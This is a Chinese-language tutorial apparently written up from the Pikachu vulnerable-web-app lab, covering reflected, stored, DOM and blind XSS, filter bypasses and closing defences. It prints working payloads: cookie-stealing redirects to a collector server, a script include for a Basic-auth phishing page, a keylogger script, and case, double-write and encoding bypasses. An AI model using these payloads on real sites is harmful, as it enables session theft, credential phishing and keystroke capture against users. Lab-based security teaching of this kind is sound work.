XSS
原理:
程序對輸入和輸出沒有做合適的處理,導致“精心構造”的字符輸出在前端時被瀏覽器當作有效代碼解析執行從而產生危害。
分類 :
危害:存儲型 > 反射型 > DOM型
-
反射型XSS:<非持久化>
交互的數據一般不會被存在數據庫里面,一次性 ,所見即所得,一般出現在查詢頁面等 -
存儲型XSS:<持久化>
交互的數據會被存在數據庫里面,永久性存儲 ,一般出現在留言板,注冊等頁面 -
DOM型XSS:<基於文檔對象模型DOM的漏洞>
不與后台服務器產生數據交互,是一種通過DOM操作前端代碼 輸出的時候產生的問題,一次性 ,也屬於反射型
常見用途:
-
Cookie劫持
-
構造GET與POST請求
-
XSS釣魚
-
獲取用戶的真實IP地址
測試流程:
-
在目標上找輸入點,比如查詢接口、留言板
-
輸入一組 “特殊字符(>,',"等)+唯一識別字符” ,點擊提交后,查看返回源碼,看后端返回的數據是否有處理
-
通過搜索定位到唯一字符,結合唯一字符前后語法確定是否可以構造執行js的條件(構造閉合)
-
提交構造的腳本代碼(以及各種繞過姿勢),看是否可以成功執行,如果成功執行則說明存在XSS漏洞
一、反射型XSS(get)

當輸入內容時, 發現內容被執行寫入當網頁
<>6666

直接進行注入
#測試時,將標簽中_刪除
<scr_ipt>alert(document.cookie)</scr_ipt>
<scr_ipt>alert("1")</scr_ipt>

發現,對輸入的字符串的有長度限制
方法一
修改前端代碼

修改為100后, 可以輸入完整的長度,成功彈窗

方法二
抓包修改

二、反射性XSS(post)
利用xss盜取用戶的cookie,模擬了一個用戶登錄的過程

登錄成功后, 就和Get型一樣的界面了

但是和xss(get)不同,在xss(get)可以直接在url上構造payload
#測試時,將標簽中_刪除
http://192.168.132.132/pikachu/vul/xss/xss_reflected_get.php?message=<scr_ipt>document.location='http://192.168.132.132/pikachu/pkxss/xcookie/cookie.php?cookie='+document.cookie</script>&submit=submit
來誘使用戶點擊, 盜取用戶的cookie
url中cookie為被攻擊者的cookie
通過使用短鏈接進行偽裝,使被攻擊者不會意識到這是攻擊url
因為在POST方式中, 就算將構造好(含攻擊代碼)的URL給用戶點擊了, 也不會直接觸發拿到cookie, 反而會直接彈出用戶登錄提示。
這時候我們就得用一個服務器(攻擊者的), 偽造POST請求去登錄, 並且盜取用戶登錄成功后的cookie
xss后台搭建
pkxss目錄下inc/config.inc.php文件需要進行配置,配置完成后,初始化數據庫

存在cookie搜集、釣魚結果、鍵盤結果3個模塊

cookie搜集模塊中,存放被攻擊者cookie的數據

先修改xss后台下的pkxss/xcookie/cookie.php文件,將IP地址改為漏洞服務器的地址,使被攻擊者不知道自己被攻擊了

該后台為本地搭建,所以地址為本地
模擬用戶點擊該網址
#測試時,將標簽中_刪除
<scr_ipt>document.location='http://192.168.132.132/pikachu/pkxss/xcookie/cookie.php?cookie='+document.cookie</scr_ipt>
192.168.132.132是攻擊者也是被攻擊者,收集被攻擊者cookie的服務器地址(也是本地), (需要進行URL編碼才能訪問)
訪問之后, 自動重定向首頁, (是為了不讓用戶察覺被攻擊的事實), 如果重定向其他地址, 用戶就會知道被攻擊了

查看cookie收集模塊,存放被攻擊者的cookie

三、存儲型XSS
如果論壇留言板模塊,存在存儲型XSS漏洞,會將payload存儲到網站數據庫,每一個用戶瀏覽留言板的時候都會被攻擊,這種攻擊時持久化攻擊

輸入payload,進行嘗試測試

漏洞利用
- 注入跳轉網頁
#測試時,將標簽中_刪除
<scr_ipt>document.location='https://www.cnblogs.com/confidant'</scr_ipt>

注:每次進入留言版,都會跳轉,需要進入數據庫中,刪除該條數據
- 網站釣魚
pikachu靶場中存在一個pkxss目錄下/xfish目錄,其中存放關於釣魚腳本

釣魚腳本使用的是 Basic認證 ** ,**
我們在這個頁面上嵌入一個惡意請求,當用戶打開這個頁面時, 就會向攻擊者的服務器發送請求,這個請求會返回一個Basic認證的頭部: 會彈出一個提示框,要求受害者輸入賬號密碼,從而盜取用戶的賬號密碼。(比較明顯的攻擊方式)
配置腳本pkxss/xfish/fish.php,將往重定向網址修改管理后台

然后將攻擊惡意代碼嵌入留言板中: (弄一個彈窗來判斷是否成功注入, 現實中彈窗就太囂張了...)
#測試時,將標簽中_刪除
<script src="http://192.168.132.132/pikachu/pkxss/xfish/fish.php"></script>

當被攻擊者輸入自己的密碼就會被釣魚, 釣魚信息存儲在攻擊者服務器上,地址為
http://192.168.132.132/pikachu-master/pkxss/xfish/pkxss_fish_result.php
可以看到剛剛被釣魚的用戶信息, (並且信息存儲在數據庫中)

- 獲取鍵盤記錄
攻擊js腳本位於網站目錄下的 pkxss/rkeypress/rk.js
同樣需要將網址修改為攻擊者的地址(也就是本機地址)

上面腳本獲取了用戶的鍵盤記錄后, 再重定向到 rkserver.php
AJAX的請求默認情況下是不能跨域的,這個請求默認情況下是會失敗的
去 /var/www/html/pikachu/pkxss/rkeypress 中 rkserver.php刪除注釋

攻擊者往留言板注入惡意代碼
#測試時,將標簽中_刪除
<scr_ipt src='http://192.168.132.132/pikachu/pkxss/rkeypress/rk.js'></scr_ipt>
然后在頁面上隨意輸入鍵盤, 會調用rkserver.php記錄鍵盤活

訪問xss鍵盤記錄后台
http://192.168.10.100/pikachu/pkxss/rkeypress/pkxss_keypress_result.php

四、DOM型XSS
DOM可以理解為訪問HTML的標准接口,DOM里面會把我們的HTML分成一個DOM樹
測試'"<>?&6666
輸入圖中的內容,觀察到如下輸出,發現和輸入的內容有區別

觀察頁面源碼

這里有段JS代碼,它通過 getElementById 獲取到了標簽 Id 為 text的內容賦值給str然后又把 str 的內容通過字符串拼接的方式寫到了 a 標簽的 href 屬性中,a標簽會寫到 Id 為 dom的 div 標簽中
漏洞利用
方法一
利用JavaScript協議
javascript:alert("You are attacked !!")

方法二
繞過閉合
我們通過閉合的方式構造Payload
' onclick="alert('xss')">

造成DOM型XSS的原因是前端的輸入被DOM給獲取到了,通過DOM又在前端輸出,跟反射型和存儲型比起來,它是不經過后台交互的
五、DOM型XSS
進行測試
'2"$&#<>/\

查看源代碼,這里也有個JS代碼,它定義了一個domxss函數它利用 window.location.search 獲取瀏覽器中URL的內容
然后賦值給 str然后經過URL解碼和字符串分隔,取出URL中的參數內容再把 “+” 替換為 “ ”(空格),賦值給 xss
最后把 xss 拼接到 a 標簽中,然后寫到 Id 為 dom 的 div 標簽中

' onclick="alert('xss')">

六、XSS盲打
XSS盲打不是攻擊類型,而是一個攻擊場景
當我們輸入內容並提交的時候,
我們輸入數據,提交后我們輸入的內容不會在前對輸出,而是提交到了后台,可能管理員會去看,如果我們輸入一個JS代碼,管理員登錄后台管理界面,如果后台把我們的內容輸出,那后台管理員可能遭受到我們的XSS攻擊,我們提交以下內容
發現內容無法在網頁前端顯示出來, 也就是沒有寫入到前端頁面, 而是提交到了后台
倘若注入xss, 則無法得知是否xss被執行, 但是管理員回去看, 假如我們注入了xss代碼, 同時管理員又訪問了后台, 且后台把我們的內容輸出, 那么后台管理員可能遭受到我們的XSS攻擊

並登錄后台管理界面(賬號密碼為admin,123456)
http://192.168.132.132/pikachu/vul/xss/xssblind/admin_login.php
一登錄進來就遭受了XSS攻擊

七、XSS之過濾
在實際的網站中,或多或少都會做一些安全措施,但是這些安全措施也存在方法、邏輯不嚴謹,可以被繞過
轉換的思路
-
前端限制繞過,直接抓包重放,或者修改html前端代碼。比如反射型XSS(get)中限制輸入20個字符。
-
大小寫,后台可能用正則表達式匹配,如果正則里面只匹配小寫,那就可能被繞過。
#測試時,將標簽中_刪除
<SCR_IPT>aLeRT(111)</sCRIpt>
- 雙寫(拼湊),后台可能把script標簽去掉換,但可能只去掉一次。
#測試時,將標簽中_刪除
<scri<scr_ipt>pt>alert(111)</scri</scr_ipt>pt>
- 注釋干擾,加上注釋后可能可以繞過后台過濾機制。
<scri<!--test-->pt>alert(111)</sc<!--test-->ript>
編碼的思路
核心思路:
-
后台過濾了特殊字符,比如script標簽,但該標簽可以被各種編碼,后台不一定過濾
-
當瀏覽器對該編碼進行識別時,會翻譯成正常的標簽,從而執行
#測試時,將標簽中_刪除
<im_g src=x onerror=alert('xss')>
將alert('xss')進行HTML編碼
<im_g src=x onerror=alert('xss')>
測試時,將標簽中_刪除
<scr_ipt>;";6666

可以看到我們輸入的<script標簽被去掉了

漏洞利用
#測試時,將標簽中_刪除
<ScR_iPt>alert(1)</ScR_ipt> // 大小寫混合繞過

八、XSS之htmlspecialchars
htmlspecialchars() 函數
PHP里面把預定義的字符轉換為HTML實體的函數
預定義的字符是
-
& 成為 &
-
" 成為 "
-
' 成為 '
-
< 成為 <
-
成為 >
可用引號類型
-
ENT_COMPAT:默認,僅編碼雙引號
-
ENT_QUOTES:編碼雙引號和單引號
-
ENT_NOQUOTES:不編碼任何引號
輸入"<>?#'&6666,進行測試

可以看到 ",>和<都經過了編碼,剩下的字符沒有,單引號依然可以使用
我們可以構造下面的Payload,我們在Payload前后都添加一個單引號用於閉合 href 中的單引號
' onclick=alert(1111) '

九、XSS之href輸出
查看源代碼

這個頁面會接收我們的輸入的message,然后判斷我們輸入的網址,如果輸入的不是百度會對我們輸入的內容用 htmlspecialchars() 進行處理
這個函數轉義單引號、雙引號和左右尖括號
然后輸出到 a 標簽的 href 屬性中,在 a 標簽的href屬性中,可以用javascript協議來執行JS
構造Payload如下,沒有上面被轉義的字符
javascript:alert(111)

十、XSS之js輸出
輸入數據,查看源代碼

它會把我們的輸入放到JS中,然后對這個變量進行判斷,然后再輸出
我們可以構造一個閉合,先閉合script標簽,然后再插入自己的JS代碼
#測試時,將標簽中_刪除
'</scr_ipt><scr_ipt>alert('xss')</scr_ipt>

這個漏洞的輸出點是在JS中,通過用戶的輸入動態生成了JS代碼
JS有個特點,它不會對實體編碼進行解釋,如果想要用htmlspecialchars對我們的輸入做實體編碼處理的話
在JS中不會把它解釋會去,這樣解決了XSS問題,但不能構成合法的JS
所以在JS的輸出點應該對應該使用 \對特殊字符進行轉義
防御措施
-
對輸入(和URL參數)進行過濾,對輸出進行編碼
-
輸入的時候只允許 http 或 https 開頭的協議,才允許輸出,其次再進行htmlspecialchars(html編碼)處理
-
過濾或移除js 事件的標簽和特殊的 html 標簽
-
設setcookie=true,使cookie不能被js獲取
參考文章
https://blog.csdn.net/angry_program/article/details/104373952
